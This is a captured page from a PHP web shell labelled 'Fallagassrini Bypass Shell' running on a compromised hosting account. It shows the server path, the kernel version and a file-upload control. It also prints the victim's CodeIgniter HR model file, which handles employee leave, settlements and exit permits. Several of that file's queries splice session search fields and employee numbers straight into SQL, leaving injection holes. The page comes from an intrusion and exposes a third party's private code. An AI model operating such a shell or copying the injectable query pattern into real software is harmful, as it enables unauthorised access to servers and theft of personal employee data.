? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/horeitia/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/horeitia/application/models/exitsmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Exitsmodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }
    
        /*Search function starts here*/

    function search_leave($pagenum)
    {
        $data=array();
        $this->db->from('leave');
        $this->db->join('employee_non_main','leave.employee_id=employee_non_main.emp_non_id');
        $this->db->join('master','master_id=emp_non_id');
        $this->db->join('leave_type','leave_type.leave_type_id=leave.leave_type_id');
        $this->db->join('trade','trade_id=emp_non_trade_id');
        $this->db->where('active','1');
        $this->db->where('missing_id','0');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        
        $sql =("SELECT leave_id,emp_non_full_name,trade_name,emp_non_id,leave_type_name,leave_reason,leave_starting_date,leave_status,
            CONCAT(`employee_non_main`.`emp_non_no_old`,',',GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id)) AS emp_non_no
            FROM (`leave`)
            JOIN `employee_non_main` ON `emp_non_id`=`employee_id`
            JOIN `master` ON `master_id`=`emp_non_id`
            JOIN leave_type on leave_type.leave_type_id=leave.leave_type_id
            JOIN `trade` ON `trade_id`=`emp_non_trade_id`
            JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
            where active = '1' and missing_id = '0'");
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $sql.=" and $searchfield like '%$searchtext%'";
        }

        $sql.=" GROUP BY leave_id  ORDER BY `leave_id` DESC limit $start, $perpage";
        $data['results']=$this->db->query($sql);
        return $data;
    }

    function search_settlement($pagenum)
    {
        $data=array();
        $this->db->from('leave');
        $this->db->join('employee_non_main','leave.employee_id=employee_non_main.emp_non_id');
        $this->db->join('master','master_id=emp_non_id');
        $this->db->join('leave_type','leave_type.leave_type_id=leave.leave_type_id');
        $this->db->join('trade','trade_id=emp_non_trade_id');
        $this->db->where('active','1');
        $this->db->where('leave_status','Approved');
        $this->db->where('missing_id','0');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'emp_non_date_joining')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        
        $sql =("SELECT leave.leave_id,emp_non_full_name,trade_name,emp_non_id,leave_type_name,leave_reason,leave_starting_date,leave_status,
            CONCAT(`employee_non_main`.`emp_non_no_old`,',',GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id)) AS emp_non_no,
            IFNULL(`settlement`.`leave_id`,'9999999999999') as leave_id_new
            FROM (`leave`)
            JOIN `employee_non_main` ON `emp_non_id`=`employee_id`
            JOIN `master` ON `master_id`=`emp_non_id`
            JOIN leave_type on leave_type.leave_type_id=leave.leave_type_id
            JOIN `trade` ON `trade_id`=`emp_non_trade_id`
            JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
            LEFT JOIN `settlement` ON `settlement`.`leave_id`=`leave`.`leave_id`
            where active = '1' and leave_status = 'Approved' and missing_id = '0'");
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $sql.=" and $searchfield like '%$searchtext%'";
        }

        $sql.=" GROUP BY leave_id  ORDER BY `leave_id_new` DESC limit $start, $perpage";
        $data['results']=$this->db->query($sql);
        return $data;
    }

    function search_settlement_direct($pagenum)
    {
        $data=array();
        $this->db->from('settlement_direct');
        $this->db->join('employee_non_main','settlement_direct.employee_id=employee_non_main.emp_non_id');
        $this->db->join('master','master_id=emp_non_id');
        $this->db->join('trade','trade_id=emp_non_trade_id');
        $this->db->where('active','1');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'emp_non_date_joining')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;

        $sql =("SELECT settlement_direct.settlement_direct_id,emp_non_full_name,trade_name,emp_non_id,basic_salary,date,final_amount,
            CONCAT(`employee_non_main`.`emp_non_no_old`,',',GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id)) AS emp_non_no
            FROM (`settlement_direct`)
            JOIN `employee_non_main` ON `emp_non_id`=`employee_id`
            JOIN `master` ON `master_id`=`emp_non_id`
            JOIN `trade` ON `trade_id`=`emp_non_trade_id`
            JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
            where active = '1'");
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield == 'date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
            }
            $sql.=" and $searchfield like '%$searchtext%'";
        }

        $sql.=" GROUP BY settlement_direct_id  ORDER BY `settlement_direct_id` DESC limit $start, $perpage";
        $data['results']=$this->db->query($sql);
        return $data;
    }

    function search_exit($pagenum)
    {
        $data=array();
        $this->db->from('leave');
        $this->db->join('employee_non_main','leave.employee_id=employee_non_main.emp_non_id');
        $this->db->join('master','master_id=emp_non_id');
        $this->db->join('settlement','settlement.leave_id=leave.leave_id');
        $this->db->join('leave_type','leave_type.leave_type_id=leave.leave_type_id');
        $this->db->join('trade','trade_id=emp_non_trade_id');
        $this->db->where('leave_status','Approved');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->or_where('missing_id !=','0');
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
     

        $sql =("SELECT leave.leave_id,emp_non_full_name,trade_name,emp_non_id,leave_type_name,leave_reason,leave_starting_date,leave_status,
            CONCAT(`employee_non_main`.`emp_non_no_old`,',',GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id)) AS emp_non_no,
            IFNULL(`exit`.`leave_id`,'9999999999999') as leave_id_new
            FROM (`leave`)
            JOIN `settlement` ON settlement.leave_id=leave.leave_id
            JOIN `employee_non_main` ON `emp_non_id`=`employee_id`
            JOIN `master` ON `master_id`=`emp_non_id`
            JOIN leave_type on leave_type.leave_type_id=leave.leave_type_id
            JOIN `trade` ON `trade_id`=`emp_non_trade_id`
            JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
            LEFT JOIN `exit` ON `exit`.`leave_id`=`leave`.`leave_id`
            where (leave_status = 'Approved' or missing_id != '0')");
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $sql.=" and $searchfield like '%$searchtext%'";
        }

        $sql.=" GROUP BY leave_id  ORDER BY `leave_id_new` DESC limit $start, $perpage";
        $data['results']=$this->db->query($sql);
        return $data;
        
    }
        /*Search function ends here*/


    
        /*Add function starts here*/

    function insert_leave($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        
        $leave_starting_date= $this->mastermodel->convertdateformat($postdata['leave_starting_date']);
        if($postdata['leave_type_id']=='3')
        {
            $postdata['leave_ending_date']='00-00-0000';
        }
        $leave_ending_date= $this->mastermodel->convertdateformat($postdata['leave_ending_date']);
                $tblValues=array(
                            'employee_id'=>$postdata['employee_id'],
                            'leave_type_id'=>$postdata['leave_type_id'],
                            'leave_starting_date'=>$leave_starting_date,
                            'leave_ending_date'=>$leave_ending_date,
                            'leave_reason'=>$postdata['leave_reason'],
                            'leave_ticket'=>$postdata['leave_ticket'],
                            'remarks'=>$postdata['remarks'],
                            'leave_from'=>$postdata['leave_from'],
                            'leave_to'=>$postdata['leave_to'],
                            'leave_application_form_name'=>$postdata['leave_application_form_name'],
                            'leave_application_form_doc'=>$postdata['leave_application_form_doc'],
                            'proof_emergency_name'=>$postdata['proof_emergency_name'],
                            'proof_emergency_doc'=>$postdata['proof_emergency_doc'],
                            'clearence_form_name'=>$postdata['clearence_form_name'],
                            'clearence_form_doc'=>$postdata['clearence_form_doc'],
                            'self_declaration_name'=>$postdata['self_declaration_name'],
                            'self_declaration_doc'=>$postdata['self_declaration_doc'],
                            'settlement_sheet_name'=>$postdata['settlement_sheet_name'],
                            'settlement_sheet_doc'=>$postdata['settlement_sheet_doc'],
                            'leave_status'=>$postdata['leave_status']);
                $this->db->insert('leave', $tblValues);
                if($postdata['leave_status']=="Approved")
                {
                    $alert_id = $this->mastermodel->insert_alert('26',$postdata['employee_id']);
                    $i=1;
                    while (isset($postdata['user_id_'.$i]))
                    {
                        if(isset($postdata['select_user_'.$i]))
                        {
                            $tblValues=array(
                                            'alert_id'=>$alert_id,
                                            'user_id'=>$postdata['user_id_'.$i]);
                            $this->db->insert('alert_user', $tblValues);
                        }
                        $i++;
                    }
                }
                if(isset($postdata['alert_id']))
                {
                   $this->mastermodel->mark_completed($postdata['alert_id']);
                   $data['resfunction'] = 'return_page';
                   $data['alert_id'] = $postdata['alert_id'];
                }
                else
                {
                    $this->mastermodel->mark_completed_emp($postdata['employee_id'],'3');
                    $data['resfunction']='search_leave';
                }
        
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Details inserted Successfully';
            return $data;
        }
    }

    function insert_settlement($postdata)
    {
        $data=array();
        $this->db->trans_begin();

        $settlement_date= $this->mastermodel->convertdateformat($postdata['settlement_date']);
     
                $tblValues=array(
                            'leave_id'=>$postdata['leave_id'],
                            'date'=>$settlement_date,
                            'basic_salary'=>$postdata['basic_salary'],
                            'final_amount'=>$postdata['final_amount']);
                $this->db->insert('settlement', $tblValues);

                 $i=1;
                 
            $settlement_id=mysql_insert_id();

            while (isset($postdata['allowance_id_'.$i]))
            {
                if(isset($postdata['select_allowance_'.$i]))
                {
                    $allowance_id = $postdata['allowance_id_'.$i];
                    $allowance_amount= $postdata['allowance_amount_'.$i];
                    $tblValues=array(
                                    'settlement_id'=>$settlement_id,
                                    'allowance_id'=>$allowance_id,
                                    'allowance_amount'=>$allowance_amount);
                    $this->db->insert('settlement_allowance', $tblValues);
                }
                $i++;

            }
            $i=1;
            while (isset($postdata['deduction_id_'.$i]))
            {
                if(isset($postdata['select_deduction_'.$i]))
                {
                    $deduction_id = $postdata['deduction_id_'.$i];
                    $deduction_amount= $postdata['deduction_amount_'.$i];
                    $tblValues=array(
                                    'settlement_id'=>$settlement_id,
                                    'deduction_id'=>$deduction_id,
                                    'deduction_amount'=>$deduction_amount);
                    $this->db->insert('settlement_deduction', $tblValues);
                }
                $i++;
            }

            $alert_id = $this->mastermodel->insert_alert('27',$postdata['employee_id']);
            $i=1;
            while (isset($postdata['user_id_'.$i]))
            {
                if(isset($postdata['select_user_'.$i]))
                {
                    $tblValues=array(
                                    'alert_id'=>$alert_id,
                                    'user_id'=>$postdata['user_id_'.$i]);
                    $this->db->insert('alert_user', $tblValues);
                }
                $i++;
            }

            if($postdata['alert_id']=="")
            {
               $this->mastermodel->mark_completed_emp($postdata['employee_id'],'26');
               $data['resfunction']='search_settlement';
            }
            else
            {
                $this->mastermodel->mark_completed($postdata['alert_id']);
                $data['resfunction'] = 'return_page';
                $data['alert_id'] = $postdata['alert_id'];
            }
                
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Details inserted Successfully';
            return $data;
        }
    }

    function insert_settlement_direct($postdata)
    {
        $data=array();
        $this->db->trans_begin();

        $settlement_date= $this->mastermodel->convertdateformat($postdata['date']);

                $tblValues=array(
                            'employee_id'=>$postdata['employee_id'],
                            'date'=>$settlement_date,
                            'basic_salary'=>$postdata['basic_salary'],
                            'final_amount'=>$postdata['final_amount']);
                $this->db->insert('settlement_direct', $tblValues);

                 $i=1;

            $settlement_id=mysql_insert_id();

            while (isset($postdata['allowance_id_'.$i]))
            {
                if(isset($postdata['select_allowance_'.$i]))
                {
                    $allowance_id = $postdata['allowance_id_'.$i];
                    $allowance_amount= $postdata['allowance_amount_'.$i];
                    $tblValues=array(
                                    'settlement_direct_id'=>$settlement_id,
                                    'allowance_id'=>$allowance_id,
                                    'allowance_amount'=>$allowance_amount);
                    $this->db->insert('settlement_direct_allowance', $tblValues);
                }
                $i++;

            }
            $i=1;
            while (isset($postdata['deduction_id_'.$i]))
            {
                if(isset($postdata['select_deduction_'.$i]))
                {
                    $deduction_id = $postdata['deduction_id_'.$i];
                    $deduction_amount= $postdata['deduction_amount_'.$i];
                    $tblValues=array(
                                    'settlement_direct_id'=>$settlement_id,
                                    'deduction_id'=>$deduction_id,
                                    'deduction_amount'=>$deduction_amount);
                    $this->db->insert('settlement_direct_deduction', $tblValues);
                }
                $i++;
            }

             $data['resfunction']='search_settlement_direct';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Details inserted Successfully';
            return $data;
        }
    }

    function insert_exit($postdata)
    {
        $data=array();
        $this->db->trans_begin();

       
        $tblValues=array(
                    'leave_id'=>$postdata['leave_id'],
                    'exit_date'=>$this->mastermodel->convertdateformat($postdata['exit_date']),
                    'exit_permit'=>$postdata['exit_permit']);
        $this->db->insert('exit', $tblValues);
        $employee_id = $this->mastermodel->getSingleFieldValue('`leave`','employee_id','leave_id',$postdata['leave_id']);
        if($postdata['exit_permit']=="Issued")
        {
                    $tblValues=array('active'=>'0');
                    $this->db->where('emp_non_id', $employee_id);
                    $this->db->update('employee_non_main', $tblValues);
                    $employee_id = $this->mastermodel->getSingleFieldValue('`leave`','employee_id','leave_id',$postdata['leave_id']);
                        $emp_non_no = $this->mastermodel->getSingleFieldValue('`employee_non_main`','emp_non_no','emp_non_id',$employee_id);
                    $tblValues=array(
                                'employee_id'=>$employee_id,
                                'effective_date'=>$this->mastermodel->convertdateformat($postdata['exit_date']),
                                'employee_no'=>$emp_non_no,
                                'employee_status'=> '0');
                   $this->db->insert('employee_status', $tblValues);
        }

        if($postdata['alert_id']=="")
        {
           $this->mastermodel->mark_completed_emp($employee_id,'27');
           $data['resfunction']='search_exit';
        }
        else
        {
            $this->mastermodel->mark_completed($postdata['alert_id']);
            $data['resfunction'] = 'return_page';
            $data['alert_id'] = $postdata['alert_id'];
        }
        
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Details inserted Successfully';
            return $data;
        }
    }
        /*Add function ends here*/

         /*Update function starts here*/

     function update_leave($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $i=1;
        if($postdata['leave_type_id']=='3')
        {
            $postdata['leave_ending_date']='00-00-0000';
        }
        $leave_starting_date= $this->mastermodel->convertdateformat($postdata['leave_starting_date']);
        $leave_ending_date= $this->mastermodel->convertdateformat($postdata['leave_ending_date']);

                $tblValues=array(
                            'leave_type_id'=>$postdata['leave_type_id'],
                            'leave_starting_date'=>$leave_starting_date,
                            'leave_ending_date'=>$leave_ending_date,
                            'leave_reason'=>$postdata['leave_reason'],
                            'leave_ticket'=>$postdata['leave_ticket'],
                            'remarks'=>$postdata['remarks'],
                            'leave_from'=>$postdata['leave_from'],
                            'leave_to'=>$postdata['leave_to'],
                            'leave_status'=>$postdata['leave_status'],);
                $this->db->where('leave_id', $postdata['leave_id']);
                $this->db->update('leave', $tblValues);

                        if($postdata['leave_application_form_doc']!='')
                        {
                            $tblValues=array(
                            'leave_application_form_doc'=>$postdata['leave_application_form_doc']);
                            $this->db->where('leave_id', $postdata['leave_id']);
                            $this->db->update('leave', $tblValues);
                        }

                        if($postdata['clearence_form_doc']!='')
                        {
                            $tblValues=array(
                            'clearence_form_doc'=>$postdata['clearence_form_doc']);
                            $this->db->where('leave_id', $postdata['leave_id']);
                            $this->db->update('leave', $tblValues);
                        }

                        if($postdata['self_declaration_doc']!='')
                        {
                            $tblValues=array(
                            'self_declaration_doc'=>$postdata['self_declaration_doc']);
                           $this->db->where('leave_id', $postdata['leave_id']);
                            $this->db->update('leave', $tblValues);
                        }

                        if($postdata['settlement_sheet_doc']!='')
                        {
                            $tblValues=array(
                            'settlement_sheet_doc'=>$postdata['settlement_sheet_doc']);
                            $this->db->where('leave_id', $postdata['leave_id']);
                            $this->db->update('leave', $tblValues);
                        }

                        if($postdata['proof_emergency_doc']!='')
                        {
                            $tblValues=array(
                            'proof_emergency_doc'=>$postdata['proof_emergency_doc']);
                            $this->db->where('leave_id', $postdata['leave_id']);
                            $this->db->update('leave', $tblValues);
                        }
                        $number = $this->mastermodel->number_rows('alert','alert_master_id','26','employee_id',$postdata['employee_id']);
                        if($postdata['leave_status']=="Approved" && $number == '0')
                        {
                            $alert_id = $this->mastermodel->insert_alert('26',$postdata['employee_id']);
                            $i=1;
                            while (isset($postdata['user_id_'.$i]))
                            {
                                if(isset($postdata['select_user_'.$i]))
                                {
                                    $tblValues=array(
                                                    'alert_id'=>$alert_id,
                                                    'user_id'=>$postdata['user_id_'.$i]);
                                    $this->db->insert('alert_user', $tblValues);
                                }
                                $i++;
                            }
                        }
                        
        $data['resfunction']='search_leave';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Details updated Successfully';
            return $data;
        }
    }

    function update_settlement($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $settlement_date= $this->mastermodel->convertdateformat($postdata['settlement_date']);

                $tblValues=array(
                            'leave_id'=>$postdata['leave_id'],
                            'date'=>$settlement_date,
                            'basic_salary'=>$postdata['basic_salary'],
                            'final_amount'=>$postdata['final_amount']);
      
        $this->db->where('settlement_id', $postdata['settlement_id']);
        $this->db->update('settlement', $tblValues);

        $this->db->where('settlement_id',$postdata['settlement_id']);
        $this->db->delete('settlement_allowance');

        $this->db->where('settlement_id',$postdata['settlement_id']);
        $this->db->delete('settlement_deduction');

        $settlement_id= $postdata['settlement_id'];
        $i=1;
        while (isset($postdata['allowance_id_'.$i]))
        {
            if(isset($postdata['select_allowance_'.$i]))
            {
                $allowance_id = $postdata['allowance_id_'.$i];
                $allowance_amount= $postdata['allowance_amount_'.$i];
                $tblValues=array(
                                'settlement_id'=>$settlement_id,
                                'allowance_id'=>$allowance_id,
                                'allowance_amount'=>$allowance_amount);
                $this->db->insert('settlement_allowance', $tblValues);
            }
            $i++;

        }
        $i=1;
        while (isset($postdata['deduction_id_'.$i]))
        {
            if(isset($postdata['select_deduction_'.$i]))
            {
                $deduction_id = $postdata['deduction_id_'.$i];
                $deduction_amount= $postdata['deduction_amount_'.$i];
                $tblValues=array(
                                'settlement_id'=>$settlement_id,
                                'deduction_id'=>$deduction_id,
                                'deduction_amount'=>$deduction_amount);
                $this->db->insert('settlement_deduction', $tblValues);
            }
            $i++;
        }

        $data['resfunction']='search_settlement';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Details updated Successfully';
            return $data;
        }
    }

    function update_settlement_direct($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        
        $settlement_date= $this->mastermodel->convertdateformat($postdata['date']);

                $tblValues=array(
                            'date'=>$settlement_date,
                            'basic_salary'=>$postdata['basic_salary'],
                            'final_amount'=>$postdata['final_amount']);

        $this->db->where('settlement_direct_id', $postdata['settlement_direct_id']);
        $this->db->update('settlement_direct', $tblValues);

        $this->db->where('settlement_direct_id', $postdata['settlement_direct_id']);
        $this->db->delete('settlement_direct_allowance');

        $this->db->where('settlement_direct_id', $postdata['settlement_direct_id']);
        $this->db->delete('settlement_direct_deduction');

        $settlement_direct_id = $postdata['settlement_direct_id'];
        $i=1;
        while (isset($postdata['allowance_id_'.$i]))
        {
            if(isset($postdata['select_allowance_'.$i]))
            {
                $allowance_id = $postdata['allowance_id_'.$i];
                $allowance_amount= $postdata['allowance_amount_'.$i];
                $tblValues=array(
                                'settlement_direct_id'=>$settlement_direct_id,
                                'allowance_id'=>$allowance_id,
                                'allowance_amount'=>$allowance_amount);
                $this->db->insert('settlement_direct_allowance', $tblValues);
            }
            $i++;

        }
        $i=1;
        while (isset($postdata['deduction_id_'.$i]))
        {
            if(isset($postdata['select_deduction_'.$i]))
            {
                $deduction_id = $postdata['deduction_id_'.$i];
                $deduction_amount= $postdata['deduction_amount_'.$i];
                $tblValues=array(
                                'settlement_direct_id'=>$settlement_direct_id,
                                'deduction_id'=>$deduction_id,
                                'deduction_amount'=>$deduction_amount);
                $this->db->insert('settlement_direct_deduction', $tblValues);
            }
            $i++;
        }

        $data['resfunction']='search_settlement_direct';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Details updated Successfully';
            return $data;
        }
    }
    
    function update_exit($postdata)
    {
        $data=array();
        $this->db->trans_begin();

                        $exit_date = $this->mastermodel->convertdateformat($postdata['exit_date']);
                        $tblValues=array(
                            'exit_date'=>$exit_date,
                            'exit_permit'=>$postdata['exit_permit']);
                        $this->db->where('exit_id', $postdata['exit_id']);
                        $this->db->update('exit', $tblValues);
                        $employee_id = $this->mastermodel->getSingleFieldValue('`leave`','employee_id','leave_id',$postdata['leave_id']);
                        $emp_non_no = $this->mastermodel->getSingleFieldValue('`employee_non_main`','emp_non_no','emp_non_id',$employee_id);
                       
                        if($postdata['exit_permit']=="Issued")
                        {
                                    $tblValues=array('active'=>'0');
                                    $this->db->where('emp_non_id', $employee_id);
                                    $this->db->update('employee_non_main', $tblValues);

                                           $tblValues=array(
                                                        'employee_id'=>$employee_id,
                                                        'effective_date'=>$exit_date,
                                                        'employee_no'=>$emp_non_no,
                                                        'employee_status'=> '0');
                                           $this->db->insert('employee_status', $tblValues);
                        }
                        if($postdata['exit_permit']=="Not Issued")
                        {
                                    $tblValues=array('active'=>'1');
                                    $employee_id = $this->mastermodel->getSingleFieldValue('`leave`','employee_id','leave_id',$postdata['leave_id']);
                                    $this->db->where('emp_non_id', $employee_id);
                                    $this->db->update('employee_non_main', $tblValues);


                                           $tblValues=array(
                                                        'employee_id'=>$employee_id,
                                                        'effective_date'=>$exit_date,
                                                        'employee_no'=>$emp_non_no,
                                                        'employee_status'=> '1');
                                           $this->db->insert('employee_status', $tblValues);
                        }
        $data['resfunction']='search_exit';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Details updated Successfully';
            return $data;
        }
    }
    /*Update function ends here*/

    function get_employee_info_leave($employee_number)
    {
        $sql =("SELECT emp_non_full_name,trade_name,trade_id,nationality_name,emp_non_date_joining,emp_non_id,batch_code,
            emp_non_visa_type_id,emp_non_date_visa_issue,emp_non_date_visa_expiry,emp_non_visa_remind_before,emp_non_sponsor_id,
            CONCAT(`employee_non_main`.`emp_non_no_old`,',',GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id)) AS emp_non_no,visa_processing.*
            FROM (`employee_non_main`)
            JOIN `master` ON `master_id`=`emp_non_id`
            JOIN `trade` ON `trade_id`=`emp_non_trade_id`
            JOIN `nationality` ON `nationality_id`=`emp_non_nationality_id`
            JOIN `batch` ON `id`=`batch_id`
            JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
            where active = '1' and employee_non_main.emp_non_no = '$employee_number'");

        $sql.=" GROUP BY emp_non_id";
        $Q=$this->db->query($sql);
        $row=$Q->row();
        return $row;
    }

    function checkemployeexit($employee_number)
    {
        $flag=1;
        $employee_id=$this->mastermodel->getSingleFieldValue('employee_non_main','emp_non_id','emp_non_no',$employee_number);
        $leaves=$this->mastermodel->get_data('leave',$employee_id,'employee_id');
        foreach ($leaves as $leave)
        {
            if($this->mastermodel->number_rows('exit','leave_id',$leave['leave_id'],'exit_permit','Issued')!=0)
            {
                $flag=1;
            }
            else
            {
                $flag=0;
                return $flag;
            
            }
        }
        return $flag;
//        $sql .=" UNION (SELECT emp_non_id
//            FROM (`employee_non_main`)
//            where active = '1' and employee_non_main.emp_non_no = '$employee_number' and
//            emp_non_id not in (select `employee_id` from `leave`))";
//        return $sql;
//        $Q=$this->db->query($sql);
//        $num=$Q->num_rows();
//        return $num;
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net